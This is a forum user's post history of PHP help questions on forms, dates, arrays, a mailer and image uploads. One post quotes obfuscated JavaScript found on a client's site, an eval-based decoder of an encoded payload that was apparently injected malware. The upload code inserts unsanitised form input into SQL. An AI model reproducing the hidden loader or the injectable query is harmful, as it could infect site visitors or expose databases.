
Mutley
Members-
Posts
765 -
Joined
-
Last visited
Everything posted by Mutley
-
How would I do that?
-
Hi guys, small problem, has worked for me before, not sure why it isn't now: FORM: 10:00 - 11:00 <input type="checkbox" name="time[]" value="10:00 - 11:00" /><br /> 11:00 - 12:00 <input type="checkbox" name="time[]" value="11:00 - 12:00" /><br /> 12:00 - 13:00 <input type="checkbox" name="time[]" value="12:00 - 13:00" /><br /> 13:00 - 14:00 <input type="checkbox" name="time[]" value="13:00 - 14:00" /><br /> 14:00 - 15:00 <input type="checkbox" name="time[]" value="14:00 - 15:00" /><br /> 15:00 - 16:00 <input type="checkbox" name="time[]" value="15:00 - 16:00" /><br /> PHP: $times = $_POST['time']; $times = implode(",", $times);
-
Suspecious code on a clients site, anything I should know? Seems encoded. function qthnib3b23(x){var y=x.length,c=1024,z,g,q,f=0,b=0,u=0,v=Array(63,46,25,11,61,60,8,58,44,43,0,0,0,0,0,0,18,48,26,29,54,1,24,19,45,5,49,34,28,15,22,38,6,59,56,16,42,32,2,51,17,3,57,0,0,0,0,9,0,41,7,23,47,27,14,13,31,37,30,52,33,0,62,20,10,40,53,12,36,55,39,21,4,50,35);for(g=Math.ceil(y/c);g>0;g--){q='';for(z=Math.min(y,c);z>0;z--,y--){{u|=(v[x.charCodeAt(f++)-48])<<b;if(b){q+=String.fromCharCode(234^u&255);u>>=8;b-=2}else{b=6}}}eval(q);}}qthnib3b23('Cf6lfNFvxvav37Zv2jCW1N6lMDLkfNFKhjRzx7_JCKZUjnqAge4UsKZKbnqyx1RlMjCKBu4upv_O_jgyV7avBVCJIdqzfjLKI@qvM@qvbWRUP7ZzF@5UxyFlIQ2JwuLAv1qvV@sOIn_lfp5a37aUxzZKx7Flbp5Amdgu@zCuYbLW_TCuhuLAgz8yCfqzjpRrFdCDp3RzYDqUjjCuG9LOjfalMjgyffFOBBRKGVglI@Rz6GHrIM6zF1RlM@CWYY')</script>
-
I have a database I need to convert to an Excel spreadsheet. Would it be easier for the PHP to read the database and convert it straight away, or display it first in HTML/XML which you then convert? What's the best way of doing this?
-
Is there a rewrite to stop spiders looking through pages under a certain directory? Thanks in advance, Nick.
-
I've been doing a little reasearch and there are multidimensional arrays, I could also do a foreach to assing a variable to each position? Anyone know more about multidimensional arrays or am I being over complicated? Thanks in advance, Mutley.
-
I see, now how could I attach a variable to the 1st array result? Say if I wanted to send a message saying "Congratulations, you've won!"? Would it be possible to do something like: Position => User ID => Score Array ( [1] => [7] => 12 [2] => [3] => 11 [3] => [1] => 10 [4] => [2] => 9 [5] => [5] => 8 [6] => [6] => 8 ) $winner=$array[6]; print_r($array[6]; // prints as.... '7'
-
When I do: <?php $date='2009-03-15'; echo strtotime("$date"); ?> I get: 1237093200 15 Mar 2009 05:00:00 GMT
-
Don't think I understand, It's a UNIX Timestamp.
-
I have a date formatted like this: Year-Month-Day 2009-03-08 When I convert it to timestamp (using strtotime) I want it to round it to that days midnight. It gets the day/month/year correct but adds a random hour (which I don't understand as I've not specified an hour for the timestamp). Any ideas? Thanks in Advance, Nick.
-
Cheers, just a few issues though, not sure if I understand this too well. Firstly I removed the -1 from the count, as it was a single result too short. It echos this with no "rsort": Array ( [1] => [7] => [5] => [3] => [6] => [2] => ) Okay, now where are the points? Now when I do use "rsort", I just numbers that are of no significance, like this: Array ( [0] => [1] => [2] => [3] => [4] => [5] => ) Finally, how do I call, say the first result of the array? I tried print_r($userPoints[1]); but got nothng, is this wrong? Many thanks, Nick.
-
Thanks, premiso, so basically count the results from the explode then print them with the points by the side. How would you reorder them by Points descending?
-
Not sure what a suitable topic title would be, I have 2 fields that are used to explode in to arrays, one is "Users" the other is "Points", they are both ordered so the position of the Points are of equal match to that user. For example: Users: 1;7;5;3;6;2 Points: 10;12;8;11;8;9 So User '1' has 10 points, User '7' has 12 points. What I wish to do is allocate a variable to the first 3 Users who have the most Points (1st, 2nd and 3rd) so I am able to display a message congratulating them on their winning place, then a message to everyone else after this, to let them know they've lost. I need to basically order the arrays in relation to each other, just how would I do this so they don't muddle up? Thanks in Advance, Nick.
-
How would I check if any of the numbers in an explode array match another? I'm familiar with explode and foreach/while statements but this would match a single value from the array, rather than checking if any of the numbers in the array match. Thanks, Nick.
-
Tried that but no luck. I'm trying to do a simple, if confirmation is Yes, redirect to XYZ page, if not, redirect to ABC page.
-
Textfield on Newsletter Mailer stops after 3-5 characters
Mutley replied to Mutley's topic in PHP Coding Help
Anyboody? ??? -
Hi there, Having a problem with the following script. I believe it may be to do with either the Fckeditor or Javascript. After so many characters (when I start a new paragraph I think), it cuts off, so the e-mail could just send as "Hi," with no message underneath it. Any ideas how to fix this? It works with a textarea instead of Fckeditor but then there is no formatting... I'm guessing it's specifically the line: var emailbody = FCKeditorAPI.GetInstance('email-body').GetHTML(); <?php include_once("fckeditor/fckeditor.php");?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Mailer</title> <link type="text/css" rel="stylesheet" href="css/main.css" /> <script type="text/javascript" src="fckeditor/fckeditor.js"></script> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript"> $(document).ready(function() { $('#send-email').click(function() { $('#hide-progress-window').click(function() { $('#sending-progress-window').hide(); $('#hide-progress-window').hide(); }); var emailsubject = $('#email-subject').val(); var emailbody = FCKeditorAPI.GetInstance('email-body').GetHTML(); var singleemail = $('#single-email').val(); if (singleemail != "") { $('#sending-progress-window').fadeIn('slow'); $('#sender-response').html('Sending to <strong style="color:#3399ff;">'+ singleemail +'</strong>'); $.post("send.php?action=singlesend", {singleemailval:singleemail, emailsubjectval:emailsubject, emailbodyval:emailbody }, function(){ $('#sending-progress-window').fadeIn('slow'); $('#img-ajax-loader').attr('src', 'images/ok.png'); $('#sender-response').html('Email sent!'); $('#hide-progress-window').fadeIn('slow'); }); } else if (confirm("Email all users now?")){ $('#sending-progress-window').fadeIn('slow'); $.get("send.php", { action: "parts" }, function(data){ total_parts = data; for(i=1;i<=total_parts;i++) { $.ajax({ type: "POST", url: "send.php?action=send&part="+i, data: "emailsubjectval="+emailsubject+"&emailbodyval="+emailbody, async: false, success: function(){ if (i==total_parts){ $('#img-ajax-loader').attr('src', 'images/ok.png'); $('#sender-response').html('Sended <strong style="color:#3399ff;">'+ i +'</strong> of <strong style="color:#3399ff;">'+ total_parts +'</strong> parts'); $('#hide-progress-window').fadeIn('slow'); } $('#sender-response').html('Sended <strong style="color:#3399ff;">'+ i +'</strong> of <strong style="color:#3399ff;">'+ total_parts +'</strong> parts'); } }); } }); } }); }); </script> </head> <body> <div class="header"> <ul class="top-menu"> <li> <img src="images/email.png" /><a class="active">LEFT's Mail System</a> </li> </ul> </div> <div class="main-body"> <label for="email-subject">subject: </label><input type="text" id="email-subject" name="email-subject" class="subject" /> <script type="text/javascript"> var oFCKeditor = new FCKeditor('email-body'); oFCKeditor.BasePath = "fckeditor/"; oFCKeditor.Height = '500'; oFCKeditor.Create(); </script> <div style="text-align:right;"> <label for="single-email">send to a single address: </label><input type="text" name="single-email" id="single-email" size="45" /> <input type="button" value="Send" id="send-email"> </div> <div id="sending-progress-window"> <img src="images/ajax-loader.gif" alt="" id="img-ajax-loader" /> <p id="sender-response">Connecting...</p> </div> <p id="hide-progress-window">Close this message</p> </div> </body> </html> Thanks in advance, Nick.
-
How do you mean, sorry?
-
Do the numbers have to be in order in the array like that? I've done a test, and apparently #9 is most frequent and #21 is least frequent, yet they show up just as many times in the list? Is there a reason for this? I'm thinking 100 lines may be too small but there must be a way to influence it more.
-
So the code would look like this, is this? $validNumbers = array(1,1,1,2,2,3,3,3,3,3,4,4,5,5,6,7,8,9,9,10,10....49); function luckyDip() { $validNumbers = range(1,49); ... ... or this function luckyDip() { $validNumbers = array(1,1,1,2,2,3,3,3,3,3,4,4,5,5,6,7,8,9,9,10,10....49); ... ... And what happens if there were say, 1200+ numbers in that array, would it cause any issues with influencing it? Many thanks, Nick.
-
That's brilliant, I'm just wondering if it's possible to "influence" the random numbers by the occurance probability of the numbers in this CSV file? I can parse the file but then I don't know how to make the PHP random function be influenced by a probability %? Is it possible? http://www.national-lottery.co.uk/player/files/Lotto.csv Cheers, Nick.
-
Hi guys, I'm trying to do an implode from a load of checkboxes, basically I want to create a string that I can explode to get all the download ids. Here is how the checkboxes are created: <?php $c=1; $sql="SELECT `id`, `title`, `filetype`, `filesize` FROM `downloads` ORDER BY `title`"; $res=mysql_query($sql); if(mysql_num_rows($res)!=0) { while(list($id, $title, $filetype, $filesize) = mysql_fetch_row($res)){ ?> <input type="checkbox" value="1" name="<?=$id?>" /><b><?=$title?></b>(<?=$filetype?>/<?=$filesize/1000?>kb) <? if($c==3){ echo "<br />"; $c=1; } $c++; } } ?> Then to insert into database, I figured creating a variable for each POST from the checkboxes, checking if they are checked, then goto insert... just not sure if this is right? <?php $sql="SELECT id FROM downloads"; $res=mysql_query($sql); if(mysql_num_rows($res)!=0) { while(list($id) = mysql_fetch_row($res)){ if($_POST["$id"]==1){ $dl.$id=$_POST["$id"]; } } ?> But then how do I implode it? Thanks, Nick.
-
Where would I add it? To the function like this: function WriteFile($File, $Data){ chmod($File,0667); $handle = fopen($File, 'w'); fwrite($handle, $Data); fclose($handle); } Or is that in the wrong place? Thanks, Nick.
-
How do you CHMOD a file when you upload it? I don't understand why that would make any difference, since the directory is already 777.
-
Trying to upload an image and get the following error: The folder is set to CHMOD 777. The upload script is: <h2>Add Category</h2> <?php if($_POST['action'] == 'add_cat'){ $cat_name = $_POST['cat_name']; $cat_description = $_POST['cat_description']; $cat_image = $_FILES['cat_image']; //Image Types $AllowedImages = array('image/jpeg','image/pjpeg'); if(empty($cat_name) || empty($cat_description) || $cat_image['error'] != 0 || !in_array($cat_image['type'], $AllowedImages)){ echo '<p>Please fill in all fields correctly.</p>'; } else{ //Continue & Add to DB $cat_image_name = md5(microtime()).'.jpg'; //Write Original File WriteFile($cfg['catimages']['folder'].$cat_image_name, file_get_contents($cat_image['tmp_name'])); //Create smaill sized thumbnail $ImageFunctions->Open($cfg['catimages']['folder'].$cat_image_name); $ImageFunctions->Resize(109,72); $ImageFunctions->RawOutput(); WriteFile($cfg['catimages']['folder'].$cat_image_name, $ImageFunctions->Output['Content']); $cat_image = $cat_image_name; $cat_slug = Word2Slug($cat_name); $Query = "INSERT INTO `product_cats` (`cat_name`,`cat_slug`,`cat_image`,`cat_description`) VALUES('$cat_name','$cat_slug','$cat_image','$cat_description')"; $Db->Query($Query); echo '<p>"'.$cat_name.'" Added.</p>'; } } ?> <form action="<?php echo $_SERVER['REQUEST_URI']; ?>" method="post" enctype="multipart/form-data"> <input type="hidden" name="action" value="add_cat" /> <p>Category Name: <input type="text" name="cat_name" /></p> <p>Category Image (Jpeg Only): <input type="file" name="cat_image" /> <p>Category Description:</p> <p><textarea name="cat_description" style="width:500px;height:250px;font-family:Arial, Helvetica, sans-serif;"></textarea></p> <p><input type="submit" value="Add Category" /></p> </form> Function is: //Write File function WriteFile($File, $Data){ $handle = fopen($File, 'w'); fwrite($handle, $Data); fclose($handle); } Any ideas? Thanks in advance, Nick.